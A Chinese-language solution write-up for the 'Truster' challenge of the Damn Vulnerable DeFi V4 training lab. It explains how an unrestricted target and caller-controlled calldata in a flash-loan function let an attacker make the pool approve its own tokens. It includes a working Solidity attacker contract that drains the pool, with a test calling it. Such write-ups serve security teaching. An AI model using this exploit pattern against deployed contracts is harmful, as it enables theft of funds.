Damn-vulnerable-defi-V4-solution(Truster)
一、Truster
我们有一个具有闪电贷功能的借贷池,目标是实现将其所有代币转移到recover 账户。
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore) {
revert RepayFailed();
}
return true;
}闪电贷需要强制返还代币,否则,它将revert RepayFailed()。
但是,我们不需要从池中借入任何资金。对于 ERC20 代币,转移代币的一种方法是调用token.transfer,它会将代币从 msg.sender转移到接收者。但还有另一种方法:token.approve,它会为已批准的账户分配限额,允许其将已批准的金额转移到任何账户。
我们需要做的只是简单地调用token.approve(attacker, balance),以便在闪电贷结束后,作为攻击者,我们可以使用token.transferFrom将借贷池中的余额转移到恢复账户。
攻击逻辑
- 攻击者构造 data = approve(attacker, 1_000_000e18)
- target = token,所以 pool 会调用 token 合约的 approve
效果:
- pool 合约自己把 全部 token 的使用权授权给了 attacker
- 最后一步:攻击者直接把池子里的所有代币转走。
请注意,此挑战只允许进行一笔交易(即改变区块链状态的操作)。因此,我们可以部署另一个合约,在其构造函数中执行我们的攻击。
构建一个 Attacker 合约
contract Attacker {
constructor(DamnValuableToken token, TrusterLenderPool pool, address recovery) {
uint256 amount = 1_000_000e18;
bytes memory data = abi.encodeCall(token.approve, (address(this), amount));
pool.flashLoan(0, address(this), address(token), data);
token.transferFrom(address(pool), recovery, amount);
}
}然后构造 Attacker 合约
function test_truster() public checkSolvedByPlayer {
new Attacker(token, pool, recovery);
}设计上的问题
问题在于 target 没有限制:
- 本来应该只让用户调用 借款人合约(类似 Aave 会要求借款人实现 IFlashLoanReceiver 接口)
- 但这里却允许攻击者随便传一个地址,比如 token 合约本身
同时,data 也是完全由攻击者控制的
- 攻击者可以构造任何函数调用(如 approve(attacker, amount))。
- pool 调用时的 msg.sender 就是 pool 自己,所以 token 认为 pool 自己正在授权。